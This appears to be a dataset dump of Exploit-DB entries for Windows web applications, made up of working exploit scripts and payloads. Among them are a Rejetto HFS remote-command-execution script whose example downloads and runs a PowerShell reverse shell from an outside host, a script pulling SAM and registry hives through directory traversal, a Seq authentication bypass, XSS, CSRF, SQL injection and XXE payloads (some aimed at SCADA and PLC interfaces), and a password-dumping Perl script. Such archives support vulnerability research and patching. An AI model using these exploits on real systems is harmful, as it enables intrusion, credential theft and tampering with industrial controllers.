deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49125
Description: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
Type: webapps
Platform: windows
Date: 2020-11-30
Author: Óscar Andreu

Exploit:
# Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

import urllib3
import sys
import urllib.parse

try:
	http = urllib3.PoolManager()	
	url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
	print(url)
	response = http.request('GET', url)
	
except Exception as ex:
	print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
	print(ex)
Exploit-DB #51188
Description: Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS)
Type: webapps
Platform: windows
Date: 2023-04-01
Author: Mohammed A.Siledar

Exploit:
# Exploit Title:  Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS)
# Exploit Author: Mohammed A.Siledar
# Author Company : reprisesoftware
# Version: rlm.v14.2BL4
# Vendor home page : https://reprisesoftware.com
# Software Link: https://www.reprisesoftware.com/license_admin_kits/rlm.v14.2BL4-x64_w3.admin.exe
# Authentication Required: No
# CVE : CVE-2022-30519
# Tested on: Windows 10

# Proof Of Concept: 

http://localhost/goform/login_process?username=admin&[CREDENTIAL_REDACTED]=x%20onerror=confirm(123)%3E


Best Regards.
Exploit-DB #44626
Description: Rockwell Scada System 27.011 - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2018-05-16
Author: t4rkd3vilz

Exploit:
# Exploit Title: Rockwell Scada System - Cross-Site Scripting
# Date: 2018-05-16
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://rockwellautomation.com/
# Software Link: http://compatibility.rockwellautomation.com/Pages/MultiProductDownload.aspx?famID=4
# Version: 1769-L16ER-BB1B, Version 27.011 and earlier, 1769-L18ER-BB1B, Version 27.011 and earlier, 
# 1769-L18ERM-BB1B, Version 27.011 and earlier, 1769-L24ER-QB1B, 
# Version 27.011 and earlier, 1769-L24ER-QBFC1B
# Version 27.011 and earlier, 1769-L27ERM-QBFC1B, Version 27.011 and earlier 
# 1769-L30ER Version 27.011 and earlier, 1769-L30ERM, Version 27.011 and earlier, 
# 1769-L30ER-NSE, Version 27.011 and earlier
# 1769-L33ER Version 27.011 and earlier, 1769-L33ERM, Version 27.011 and earlier, 1769-L36ERM, Version 27.011 and earlier 
# 1769-L23E-QB1B, Version 20.018 and earlier (Discontinued June 2016), and 1769-L23E-QBFC1B, Version 20.018 and earlier 
# (Discontinued June 2016).
# Tested on: Windows Machine and Chrome,Firefox explorer
# CVE : CVE-2016-2279

# PoC 
http://TargetIP/rokform/SysDataDetail?name=<<script>alert(1);</script>
Exploit-DB #33428
Description: SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal
Type: webapps
Platform: windows
Date: 2014-05-19
Author: Matt Schmidt

Exploit:
#!/usr/bin/python
#
# Exploit Title: SafeNet Sentinel Protection Server 7.0 - 7.4 and Sentinel Keys Server 1.0.3 - 1.0.4 Directory Traversal 
# Date: 04/28/2014
# Exploit Author: Matt Schmidt (Syph0n)
# Vendor Homepage: http://www.safenet-inc.com/
# Software Link: http://c3.safenet-inc.com/downloads/2/1/21DAC8BE-72DE-4D32-85D4-6A1FC600581E/Sentinel%20Protection%20Installer%207.4.0.exe
# Version: SafeNet Sentinel Protection Server 7.0.0 through 7.4.0 and Sentinel Keys Server 1.0.3
# Tested on: Windows 7 and Windows XP SP2
# CVE: CVE-2007-6483
# Dork: intitle:"Sentinel Keys License Monitor"
# Greets to norsec0de

import sys, urllib2, argparse

print '\n[+] SafeNet Sentinel Protection Server 7.0 - 7.4 Directory Traversal Exploit'
print '[+] Written by Matt Schmidt (Syph0n)'
print '[+] This script will download the registry hives, boot.ini and win.ini off the Target Windows box'
print '[+] For Windows versions other than Windows XP you will have to append the --file option and specifiy a file\n'


# Define Help Menu
if (len(sys.argv) < 2) or (sys.argv[1] == '-h') or (sys.argv[1] == '--help'):
    print 'Usage:'
    print './exploit.py --host <target> [options]'
    print '    <host>: The victim host\n'
    print '  Options:'
    print '    --port      The port the application is listening on (default: 7002)'
    print '    --file      Path to the desired remote file (ex. windows/repair/sam) without starting slash\n\n'
    sys.exit(1)

# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('--host', required = True)
parser.add_argument('--port', type = int, default = 7002)
parser.add_argument('--file')
args = parser.parse_args()

# Define Variables
host = args.host
port = args.port
if args.file is not None :
	targetFile = [args.file]
else:
	targetFile = ['windows/repair/default', 'windows/repair/sam', 'windows/repair/system', 'windows/repair/software', 'windows/repair/security', 'boot.ini', 'windows/win.ini']

# Send Exploit
print '[+] Sending exploit!'

# Loop for multiple files
for path in targetFile:
	# Define Directory Traversal path
	url = "http://" + host + ":" + str(port) + "/../../../../../../../../../../../../../../" + str(path)
		
	# Retrieve file(s)
	exploit = urllib2.urlopen(url)
	header = exploit.info()
	size = int(header.getheaders("Content-Length")[0])
	print "\n[+] Downloading: C:\%s ! Bytes: %s" % (path, size)
	filename = url.rsplit('/',1)
	with open(str(filename[1]), "wb") as contents:
		contents.write(exploit.read())
print '\n[+] Done!\n'
Exploit-DB #44678
Description: Schneider Electric PLCs - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2018-05-21
Author: t4rkd3vilz

Exploit:
# Exploit Title: Schneider Electric PLCs - Cross-Site Request Forgery
# Date: 2018-05-12
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.schneider-electric.com/
# Tested on: Windows
# CVE: CVE-2013-0663
# Version: Schneider Electric Quantum PLC: 140NOE77111, 140NOE77101, 140NWM10000
# Modicon M340 PLC: BMXNOC0401, BMXNOE0100x, BMXNOE011xx
# Premium PLC: TSXETY4103, TSXETY5103, and TSXWMY100
# Category: webapps

<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form method="get" action="http://TargetIP/secure/embedded/builtin" name="sample" onSubmit="return validateForm()">
<table border="0" cellspacing="0" cellpadding="0" width="300" style="height: 100" bgcolor="#C0C0C0">
<tr>
<td class="inputCell" width="200">
<div align="left">
<h5>Name:</h5>
<script language="javascript" type="text/javascript">
<!--//
paramLang();
switch(getLanguage())
{

default:
document.write("Username :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="text" name="user" size="20">
</td>
</tr>
<tr>
<td class="inputCell" width="200">
<div align="left">&
<h5>Pass:</h5>
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{
default:
document.write("New password :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="password" name="passwd" size="20">
</td>
</tr>
<tr>
<td class="inputCell" width="200">
<div align="left">
<h5>Verify Pass:</h5>
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{

default:
document.write("Confirm password :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="password" name="cnfpasswd" size="20">
</td>
</tr>
</table>
<br>
<div align="center">
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{

default:
document.write('<input type="submit" name="subhttppwd" value="Change Password">'); break;
}
//-->
</script>
<input type="submit" name="subhttppwd" value="Change Password">
</div>
</form>
<br>
</td>
</tr>
<tr>
<td align="center">
<br>

</body>
</html>
Exploit-DB #45266
Description: Sentrifugo HRMS 3.2 - 'deptid' SQL Injection
Type: webapps
Platform: windows
Date: 2018-08-27
Author: Javier Olmedo

Exploit:
# Exploit Title: Sentrifugo HRMS 3.2 - 'deptid' SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-26
# Google Dork: N/A
# Vendor: http://www.sapplica.com
# Software Link: http://www.sentrifugo.com/download
# Affected Version: 3.2 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
 
# 1. Technical Description:
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
# parameter through POST request in "/index.php/servicedeskconf/getemployees/format/html" resource.
# This allows a user of the application without permissions to read sensitive information from
# the database used by the application.
  
# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in deptid parameter)

POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0
Connection: close

bunitid=0&deptid='&reqfor=2

# 2.2 In another request, add two ' to receive a code 200 OK

POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0
Connection: close

bunitid=0&deptid=''&reqfor=2

# 3. Payload:

Parameter: deptid (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: bunitid=0&deptid=(SELECT (CASE WHEN (5610=5610) THEN 5610 ELSE 5610*(SELECT 5610 FROM INFORMATION_SCHEMA.PLUGINS) END))&reqfor=2

# 4. Reference:
# https://hackpuntes.com/cve-2018-15873-sentrifugo-hrms-3-2-blind-sql-injection/
Exploit-DB #45136
Description: Seq 4.2.476 - Authentication Bypass
Type: webapps
Platform: windows
Date: 2018-08-02
Author: Daniel Chactoura

Exploit:
# Exploit Title: Seq 4.2.476 - Authentication Bypass
# Date: 2018-08-02
# Exploit Author: Daniel Chactoura
# Vendor Homepage: https://getseq.net/
# Software Link: https://getseq.net/Download/All
# Version: <= 4.2.476
# CVE : CVE-2018-8096
# Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732

# coding=utf-8

#!/bin/python

import sys
import requests

def verifyArgs(args):
    if len(args) < 2:
        print('[!] Usage: '+str(args[0])+' https://target')
        exit(0)
    elif 'http' not in str(args[1]):
        print('''[!] Missing "https://" !''')
        exit(0)
    else:
        return(1)

def verifyVersion(url):
    vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16',
                    '4.1.14','4.0.60','4.0.58','3.4.20',
                    '3.4.18','3.4.17','3.3.23','3.3.22',
                    '3.3.21','3.3.20','3.2.16','3.1.17',
                    '3.1.16','3.0.30','2.4.2','2.3.4',
                    '2.3.3','2.2.8','2.1.22','2.1.21',
                    '2.0.19','1.6.13','1.6.12','1.6.11',
                    '1.6.10','1.6.9','1.6.8','1.6.7',
                    '1.6.6','1.6.5','1.6.4','1.5.19',
                    '1.5.18','1.5.17','1.5.16','1.4.12',
                    '1.4.11','1.4.10','1.4.9','1.4.8',
                    '1.4.7','1.4.6','1.3.11','1.3.10',
                    '1.3.9','1.3.8']
    u = str(url)
    verifV = requests.get(u+'/api/')
    verifVJSON = verifV.json()
    ver = str(verifVJSON['Version'])[:-2]

    if ver in vulnVersions:
        print("[+] Seq's version is potentially vulnerable!")
        return(1)
    else:
        print("[!] Seq's version is probably not vulnerable!")
        return(0)

def bypassAuth(url):
    u = str(url)
    payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}"
    h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u}
    verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h)
    verifMCode = str(verifM.status_code)
    if verifMCode == '200':
        print("[:)] YES! Success! Now, access the url and have fun!")
    else:
        print("[:(] DAMN! This is not your lucky day...")

def main():
    try:
        if verifyArgs(sys.argv):
            if verifyVersion(sys.argv[1]):
                bypassAuth(sys.argv[1])
            else:
                c = input('[?] Do you want to try it anyway? (y/n): ').lower()
                if c == 'y':
                    pass
                elif c == 'n':
                    exit(0)
                else:
                    print('[!] Invalid choice!')
                    exit(0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    main()
Exploit-DB #45661
Description: ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection
Type: webapps
Platform: windows
Date: 2018-10-23
Author: hyp3rlinx

Exploit:
# Exploit Title: ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection
# Author: John Page (aka hyp3rlinx)	
# Date: 2018-10-23
# Vendor: www.serverscheck.com
# Software link: http://downloads.serverscheck.com/monitoring_software/setup.exe
# CVE: N/A
# References:
# https://serverscheck.com/monitoring-software/release.asp
# http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt

# Security Issue
# ServersCheck Monitoring Software allows for SQL Injection by an authenticated user 
# via the alerts.html "id" parameter.

# Exploit/POC
http://127.0.0.1:1272/alerts.html?id=18391

Result:
Alerts History for SENSORXY
No data available in table

Then using 'OR+2=2,

http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+

Result:

Alerts History for test
155 	a day ago 	CPU on 127.0.0.1 	Status Change 	DOWN to OK 	
154 	a day ago 	CPU on 127.0.0.1 	Status Change 	OK to DOWN 	
153 	a day ago 	test 	Status Change 	OK to DOWN 	Unable to connect to host


# SQL Injection - original page results successfully manipulated using 18391-2
# Examples:

http://127.0.0.1:1272/alerts.html?id=18391
No data available in table

Then using 34 minus 2,

http://127.0.0.1:1272/alerts.html?id=18391-2
153 	a day ago 	test 	Status Change 	OK to DOWN 	Unable to connect to host

and minus 1,

http://127.0.0.1:1272/alerts.html?id=18391-1
155 	a day ago 	CPU on 127.0.0.1 	Status Change 	DOWN to OK 	
154 	a day ago 	CPU on 127.0.0.1 	Status Change 	OK to DOWN


http://127.0.0.1:1272/floorplans.html?floorplan=34
Floor Plan PLANXY

Then using 34 minus 2,

http://127.0.0.1:1272/floorplans.html?floorplan=34-2
Floor Plan 0
Exploit-DB #17873
Description: SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE)
Type: webapps
Platform: windows
Date: 2011-09-20
Author: Nicolas Gregoire

Exploit:
Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>
Exploit-DB #11215
Description: SHOUTcast Server 1.9.8/Win32 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2010-01-21
Author: cp77fk4r

Exploit:
# Exploit Title: HOUTcast Server Version <= 1.9.8/win32 Cross Site Request Forgery.
# Date: 22/12/2009
# Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com>
# Software Link: http://www.shoutcast.com/download
# Version: X <= 1.9.8/win32
#
#[CSRF]:
Ban Single IP: (Ex: IP: p1.p2.p3.p4)
http://[URL]:8000/admin.cgi?mode=banip&ip1=[p1]&ip2=[p2]&ip3=[p3]&ip4=[p4]&banmsk=255

Ban Whole Subnet (Ex: IP: p1.p2.p3.0-255)
http://[URL]:8000/admin.cgi?mode=banip&ip1=[p1]&ip2=[p2]&ip3=[p3]&ip4=0&banmsk=0
#
#
#[E0F]
Exploit-DB #23886
Description: Simple Web Server 2.3-rc1 - Directory Traversal
Type: webapps
Platform: windows
Date: 2013-01-04
Author: CwG GeNiuS

Exploit:
# Exploit Title: Simple Webserver 2.3-rc1 Directory Traversal
# Date: 01/02/2013
# Exploit Author: CwG GeNiuS
# Vendor Homepage: http://www.pmx.it
# Software Link: http://www.pmx.it/download/sws-2.3-rc1-i686.exe
# Version: 2.3-rc1 (and earlier)
# Tested on: Windows 7 Enterprise SP1
#
#Vulnerability: When removing the preceding "/" from a GET 
#			request the webserver allows directory 	
#			traversal.
#
#Fix: I have spoken with the developer who has now 
#	released 2.3-rc2 to correct the vulnerability



root@bt:~# nc -v 192.168.1.132 80
192.168.1.132: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.132] 80 (www) open
GET ../../../../../../../../windows/win.ini http/1.1

HTTP/1.1 400 Bad Request
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Connection: close

HTTP/1.1 200 Ok
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Accept-Ranges: bytes
Content-type: 
Content-Length: 403

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
Exploit-DB #18605
Description: sockso 1.5 - Directory Traversal
Type: webapps
Platform: windows
Date: 2012-03-15
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Sockso
              http://sockso.pu-gh.com
Versions:     <= 1.5
Platforms:    Windows, Mac, Linux
Bug:          directory traversal
Exploitation: remote
Date:         14 Mar 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From author's homepage:
"Sockso is a free, open-source, personal music host server for
everyone! It's designed to be as simple as possible so that anyone with
a mouse and some mp3's can get their friends listening to their music
across the internet in seconds!"


#######################################################################

======
2) Bug
======


The server is affected by a directory traversal vulnerability that
allows downloading arbitrary files from the disk where the software is
installed.


#######################################################################

===========
3) The Code
===========


http://SERVER:4444/file/../../../../../windows/system.ini
http://SERVER:4444/file/..\..\..\..\..\windows\system.ini


#######################################################################

======
4) Fix
======


Version 1.5.1


#######################################################################
Exploit-DB #10649
Description: SoftCab Sound Converter - 'sndConverter.ocx' ActiveX Insecure Method
Type: webapps
Platform: windows
Date: 2009-12-25
Author: ThE g0bL!N

Exploit:
<!--
# Author: ThE g0bL!N
# Software Link: http://www.softcab.com/ftp/converter_activex.zip
# Version:
# Tested on: Xp sp2
-->
<title>Exploited By : ThE g0bL!N </title>
<BODY>
 <object id=dz classid="clsid:{66757BFC-DA0C-41E6-B3FE-B6D461223FF5}"></object>

<SCRIPT>

function Do_it()
 {
     File = "Dz.exe"
   dz.SaveFormat(File)
 }

</SCRIPT>
<h3>SoftCab Sound Converter ActiveX (sndConverter.ocx) Insecure Method Exploit </h3>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML>
Exploit-DB #19339
Description: SoftPerfect Bandwidth Manager 2.9.10 - Authentication Bypass
Type: webapps
Platform: windows
Date: 2012-06-22
Author: Gitsnik

Exploit:
Authentication Bypass and Password disclosure.

SoftPerfect Bandwidth Manager Authentication Bypass
*Date:* 22-June-2012
*Author:* Gitsnik http://dracyrys.com/softperfect
*Vendor Homepage:* http://www.softperfect.com/
*Software Link:* http://www.softperfect.com/products/bandwidth/
*Version:* 2.9.10 (probably all up to this version)
*Tested on:* Windows 7 Ultimate, Windows Server 2003, Windows Server 2003
R2.

A vulnerability exists in the authentication processing module of the
SoftPerfect Bandwidth Manager. According to the SoftPerfect FAQ page the
system utilises an API consisting of HTTP and XML. Using a packet sniffer
to monitor port 8701 we can see that the initial packet exchange for a
blank password is:

POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
Basic YWRtaW46
<?xml version="1.0" encoding="windows-1252"?><request>
<command>getoptions</command>
</request>

Basic authentication with a username of admin and a blank password.

When this software has no password set, any password seems to authenticate.
This is interesting, but ultimately unusual in a proper environment.

The bug exists in the authentication mechanism. I was initially going to
fuzz the Basic string, only to find that it worked on my first try. Sending
the following to the application will completely bypass any password in
place (note the strong text in the Authorization line):

POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
Basic *AAAA*
<?xml version="1.0" encoding="windows-1252"?><request>
<command>getoptions</command>
</request>

The getoptions command includes dumping a cleartext password from the
database to the connection.
Exploit: Dump the console password with no authentication

#!/usr/bin/env perl

use strict;
use warnings;

my $credentials = "AAAA";

#command: getrules 98
#command: getoptions 100

my $header = "POST / HTTP/1.0\r\n" .
	"Content-Type: text/xml\r\n" .
	"Content-Length: 100\r\n" .
	"Authorization: Basic $credentials\r\n" .
	"\r\n" .
	"<?xml version=\"1.0\" encoding=\"windows-1252\"?>\r\n" .
	"<request>\r\n" .
	"\t<command>getoptions</command>\r\n" .
	"</request>";

print $header;